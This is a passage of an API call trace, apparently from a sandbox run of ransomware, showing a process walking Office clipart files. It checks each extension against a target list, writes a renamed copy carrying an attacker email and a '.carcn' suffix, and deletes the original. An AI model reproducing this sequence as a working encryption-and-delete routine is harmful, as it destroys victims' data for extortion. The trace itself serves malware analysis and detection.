(lpString=".docx") returned 5 [0277.656] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0277.656] lstrlenW (lpString=".pdf") returned 4 [0277.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.656] lstrlenW (lpString=".xls") returned 4 [0277.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.656] lstrlenW (lpString=".xlsx") returned 5 [0277.657] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0277.657] lstrlenW (lpString=".ppt") returned 4 [0277.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0277.657] lstrlenW (lpString=".zip") returned 4 [0277.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.657] lstrlenW (lpString=".rar") returned 4 [0277.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.657] lstrlenW (lpString=".bz2") returned 4 [0277.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.657] lstrlenW (lpString=".7z") returned 3 [0277.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0277.657] lstrlenW (lpString=".dbf") returned 4 [0277.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0277.657] lstrlenW (lpString=".1cd") returned 4 [0277.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0277.657] lstrlenW (lpString=".jpg") returned 4 [0277.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.659] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=3796) returned 1 [0277.659] CloseHandle (hObject=0x554) returned 1 [0277.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x220 [0277.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0277.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0277.660] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.660] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0277.661] GetLastError () returned 0x0 [0277.661] ReadFile (in: hFile=0x554, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0xed4, lpOverlapped=0x0) returned 1 [0277.703] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xee0, lpOverlapped=0x0) returned 1 [0277.704] ReadFile (in: hFile=0x554, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.704] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0277.704] SetEndOfFile (hFile=0x548) returned 1 [0277.704] CloseHandle (hObject=0x548) returned 1 [0277.707] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.707] SetEndOfFile (hFile=0x554) returned 1 [0277.711] CloseHandle (hObject=0x554) returned 1 [0277.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0277.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 1 [0277.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0277.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0277.712] lstrlenW (lpString=".doc") returned 4 [0277.712] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.713] lstrlenW (lpString=".docx") returned 5 [0277.713] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0277.713] lstrlenW (lpString=".pdf") returned 4 [0277.713] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.713] lstrlenW (lpString=".xls") returned 4 [0277.713] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.713] lstrlenW (lpString=".xlsx") returned 5 [0277.713] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0277.713] lstrlenW (lpString=".ppt") returned 4 [0277.713] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0277.713] lstrlenW (lpString=".zip") returned 4 [0277.713] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.713] lstrlenW (lpString=".rar") returned 4 [0277.713] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.713] lstrlenW (lpString=".bz2") returned 4 [0277.713] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.713] lstrlenW (lpString=".7z") returned 3 [0277.714] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0277.714] lstrlenW (lpString=".dbf") returned 4 [0277.714] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0277.714] lstrlenW (lpString=".1cd") returned 4 [0277.714] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0277.714] lstrlenW (lpString=".jpg") returned 4 [0277.714] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.715] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=2084) returned 1 [0277.715] CloseHandle (hObject=0x554) returned 1 [0277.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x220 [0277.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0277.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0277.716] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.716] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0277.718] GetLastError () returned 0x0 [0277.718] ReadFile (in: hFile=0x554, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x824, lpOverlapped=0x0) returned 1 [0277.754] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x830, lpOverlapped=0x0) returned 1 [0277.755] ReadFile (in: hFile=0x554, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.755] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0277.755] SetEndOfFile (hFile=0x548) returned 1 [0277.756] CloseHandle (hObject=0x548) returned 1 [0277.756] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.756] SetEndOfFile (hFile=0x554) returned 1 [0277.759] CloseHandle (hObject=0x554) returned 1 [0277.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0277.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 1 [0277.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0277.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0277.761] lstrlenW (lpString=".doc") returned 4 [0277.761] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.761] lstrlenW (lpString=".docx") returned 5 [0277.761] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0277.761] lstrlenW (lpString=".pdf") returned 4 [0277.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.761] lstrlenW (lpString=".xls") returned 4 [0277.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.761] lstrlenW (lpString=".xlsx") returned 5 [0277.761] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0277.761] lstrlenW (lpString=".ppt") returned 4 [0277.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0277.761] lstrlenW (lpString=".zip") returned 4 [0277.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.761] lstrlenW (lpString=".rar") returned 4 [0277.761] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.761] lstrlenW (lpString=".bz2") returned 4 [0277.761] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.762] lstrlenW (lpString=".7z") returned 3 [0277.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0277.762] lstrlenW (lpString=".dbf") returned 4 [0277.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0277.762] lstrlenW (lpString=".1cd") returned 4 [0277.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0277.762] lstrlenW (lpString=".jpg") returned 4 [0277.762] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.762] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=2996) returned 1 [0277.763] CloseHandle (hObject=0x554) returned 1 [0277.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x220 [0277.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0277.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0277.764] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.764] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0277.765] GetLastError () returned 0x0 [0277.765] ReadFile (in: hFile=0x554, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0xbb4, lpOverlapped=0x0) returned 1 [0277.785] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xbc0, lpOverlapped=0x0) returned 1 [0277.786] ReadFile (in: hFile=0x554, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.787] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0277.787] SetEndOfFile (hFile=0x548) returned 1 [0277.787] CloseHandle (hObject=0x548) returned 1 [0277.787] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.787] SetEndOfFile (hFile=0x554) returned 1 [0278.278] CloseHandle (hObject=0x554) returned 1 [0278.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0278.279] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 1 [0278.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0278.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0278.280] lstrlenW (lpString=".doc") returned 4 [0278.280] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.280] lstrlenW (lpString=".docx") returned 5 [0278.280] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.280] lstrlenW (lpString=".pdf") returned 4 [0278.280] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.281] lstrlenW (lpString=".xls") returned 4 [0278.281] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.281] lstrlenW (lpString=".xlsx") returned 5 [0278.281] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.281] lstrlenW (lpString=".ppt") returned 4 [0278.281] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0278.281] lstrlenW (lpString=".zip") returned 4 [0278.281] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.281] lstrlenW (lpString=".rar") returned 4 [0278.281] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.281] lstrlenW (lpString=".bz2") returned 4 [0278.281] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.281] lstrlenW (lpString=".7z") returned 3 [0278.281] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0278.281] lstrlenW (lpString=".dbf") returned 4 [0278.281] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0278.281] lstrlenW (lpString=".1cd") returned 4 [0278.281] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0278.281] lstrlenW (lpString=".jpg") returned 4 [0278.281] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.285] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=2300) returned 1 [0278.285] CloseHandle (hObject=0x554) returned 1 [0278.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x220 [0278.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0278.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0278.287] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.288] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0278.289] GetLastError () returned 0x0 [0278.289] ReadFile (in: hFile=0x554, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x8fc, lpOverlapped=0x0) returned 1 [0278.307] WriteFile (in: hFile=0x54c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x900, lpOverlapped=0x0) returned 1 [0278.308] ReadFile (in: hFile=0x554, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.308] WriteFile (in: hFile=0x54c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0278.309] SetEndOfFile (hFile=0x54c) returned 1 [0278.309] CloseHandle (hObject=0x54c) returned 1 [0278.309] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.309] SetEndOfFile (hFile=0x554) returned 1 [0278.312] CloseHandle (hObject=0x554) returned 1 [0278.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0278.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 1 [0278.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0278.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0278.313] lstrlenW (lpString=".doc") returned 4 [0278.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.313] lstrlenW (lpString=".docx") returned 5 [0278.313] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.313] lstrlenW (lpString=".pdf") returned 4 [0278.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.313] lstrlenW (lpString=".xls") returned 4 [0278.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.313] lstrlenW (lpString=".xlsx") returned 5 [0278.313] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.313] lstrlenW (lpString=".ppt") returned 4 [0278.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0278.316] lstrlenW (lpString=".zip") returned 4 [0278.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.316] lstrlenW (lpString=".rar") returned 4 [0278.316] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.316] lstrlenW (lpString=".bz2") returned 4 [0278.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.316] lstrlenW (lpString=".7z") returned 3 [0278.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0278.316] lstrlenW (lpString=".dbf") returned 4 [0278.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0278.316] lstrlenW (lpString=".1cd") returned 4 [0278.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0278.316] lstrlenW (lpString=".jpg") returned 4 [0278.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.318] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=1382) returned 1 [0278.318] CloseHandle (hObject=0x554) returned 1 [0278.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x220 [0278.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0278.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 